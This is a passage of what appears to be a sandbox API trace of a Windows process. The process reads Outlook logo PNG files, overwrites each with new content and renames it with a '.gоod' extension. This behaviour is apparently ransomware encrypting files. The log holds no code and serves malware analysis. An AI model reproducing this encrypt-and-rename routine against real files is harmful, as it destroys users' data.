"c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0271.820] GetFileType (hFile=0x8a0) returned 0x1 [0271.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0271.821] GetFileType (hFile=0x8a0) returned 0x1 [0271.821] GetFileSize (in: hFile=0x8a0, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x7ec [0271.821] ReadFile (in: hFile=0x8a0, lpBuffer=0x3909ea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3909ea0*, lpNumberOfBytesRead=0x1fcee238*=0x7ec, lpOverlapped=0x0) returned 1 [0271.924] CloseHandle (hObject=0x8a0) returned 1 [0272.376] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x68 [0272.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0272.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0272.378] GetFileType (hFile=0x8a0) returned 0x1 [0272.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0272.378] GetFileType (hFile=0x8a0) returned 0x1 [0272.378] WriteFile (in: hFile=0x8a0, lpBuffer=0x3ab46e8*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3ab46e8*, lpNumberOfBytesWritten=0x1fcee148*=0x7f0, lpOverlapped=0x0) returned 1 [0272.379] CloseHandle (hObject=0x8a0) returned 1 [0272.379] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x68 [0272.379] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-100.png.gоod", lpFilePart=0x0) returned 0x6d [0272.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0272.379] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9e8f80e6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7f0)) returned 1 [0272.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0272.379] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-100.png.gоod")) returned 1 [0272.380] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x68 [0272.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0272.380] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x3ab5a50 | out: lpFileInformation=0x3ab5a50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d2)) returned 1 [0272.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0272.380] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x68 [0272.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0272.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0272.380] GetFileType (hFile=0x8a0) returned 0x1 [0272.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0272.380] GetFileType (hFile=0x8a0) returned 0x1 [0272.380] GetFileSize (in: hFile=0x8a0, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x8d2 [0272.380] ReadFile (in: hFile=0x8a0, lpBuffer=0x3ab66e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3ab66e0*, lpNumberOfBytesRead=0x1fcee238*=0x8d2, lpOverlapped=0x0) returned 1 [0272.382] CloseHandle (hObject=0x8a0) returned 1 [0272.901] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x68 [0272.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0272.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0272.902] GetFileType (hFile=0x8a0) returned 0x1 [0272.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0272.902] GetFileType (hFile=0x8a0) returned 0x1 [0272.902] WriteFile (in: hFile=0x8a0, lpBuffer=0x39a7088*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x39a7088*, lpNumberOfBytesWritten=0x1fcee148*=0x8e0, lpOverlapped=0x0) returned 1 [0272.903] CloseHandle (hObject=0x8a0) returned 1 [0272.903] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x68 [0272.903] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-140.png.gоod", lpFilePart=0x0) returned 0x6d [0272.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0272.903] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ee085c1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8e0)) returned 1 [0272.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0272.904] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-140.png.gоod")) returned 1 [0272.904] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x68 [0272.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0272.904] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x39a83f0 | out: lpFileInformation=0x39a83f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbd1)) returned 1 [0272.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0272.905] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x68 [0272.905] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0272.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0272.905] GetFileType (hFile=0x8a0) returned 0x1 [0272.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0272.905] GetFileType (hFile=0x8a0) returned 0x1 [0272.905] GetFileSize (in: hFile=0x8a0, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xbd1 [0272.905] ReadFile (in: hFile=0x8a0, lpBuffer=0x39a9380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x39a9380*, lpNumberOfBytesRead=0x1fcee238*=0xbd1, lpOverlapped=0x0) returned 1 [0272.906] CloseHandle (hObject=0x8a0) returned 1 [0272.918] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x68 [0272.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0272.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0272.919] GetFileType (hFile=0x8a0) returned 0x1 [0272.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0272.919] GetFileType (hFile=0x8a0) returned 0x1 [0272.919] WriteFile (in: hFile=0x8a0, lpBuffer=0x3a25418*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3a25418*, lpNumberOfBytesWritten=0x1fcee148*=0xbe0, lpOverlapped=0x0) returned 1 [0272.920] CloseHandle (hObject=0x8a0) returned 1 [0272.920] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x68 [0272.920] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-180.png.gоod", lpFilePart=0x0) returned 0x6d [0272.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0272.920] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ee2e7ad, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbe0)) returned 1 [0272.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0272.920] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-180.png.gоod")) returned 1 [0272.921] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x67 [0272.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0272.921] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x3a26780 | out: lpFileInformation=0x3a26780*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7702aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6d7)) returned 1 [0272.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0272.922] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x67 [0272.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0272.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0272.922] GetFileType (hFile=0x8a0) returned 0x1 [0272.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0272.922] GetFileType (hFile=0x8a0) returned 0x1 [0272.922] GetFileSize (in: hFile=0x8a0, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x6d7 [0272.922] ReadFile (in: hFile=0x8a0, lpBuffer=0x3a27200, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3a27200*, lpNumberOfBytesRead=0x1fcee238*=0x6d7, lpOverlapped=0x0) returned 1 [0272.923] CloseHandle (hObject=0x8a0) returned 1 [0272.934] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x67 [0272.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0272.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0272.935] GetFileType (hFile=0x8a0) returned 0x1 [0272.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0272.935] GetFileType (hFile=0x8a0) returned 0x1 [0272.935] WriteFile (in: hFile=0x8a0, lpBuffer=0x3aa1a30*, nNumberOfBytesToWrite=0x6e0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3aa1a30*, lpNumberOfBytesWritten=0x1fcee148*=0x6e0, lpOverlapped=0x0) returned 1 [0272.936] CloseHandle (hObject=0x8a0) returned 1 [0272.936] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x67 [0272.936] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-80.png.gоod", lpFilePart=0x0) returned 0x6c [0272.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0272.936] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ee549f5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6e0)) returned 1 [0272.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0272.937] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-80.png.gоod")) returned 1 [0272.937] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x68 [0272.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0272.937] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x3aa2d90 | out: lpFileInformation=0x3aa2d90*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7702aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7702aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a79652b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ed)) returned 1 [0272.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0272.938] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x68 [0272.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0272.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-white_scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0272.938] GetFileType (hFile=0x8a0) returned 0x1 [0272.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0272.938] GetFileType (hFile=0x8a0) returned 0x1 [0272.938] GetFileSize (in: hFile=0x8a0, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x7ed [0272.938] ReadFile (in: hFile=0x8a0, lpBuffer=0x3aa3938, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3aa3938*, lpNumberOfBytesRead=0x1fcee238*=0x7ed, lpOverlapped=0x0) returned 1 [0273.588] CloseHandle (hObject=0x8a0) returned 1 [0273.636] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x68 [0273.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0273.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-white_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, 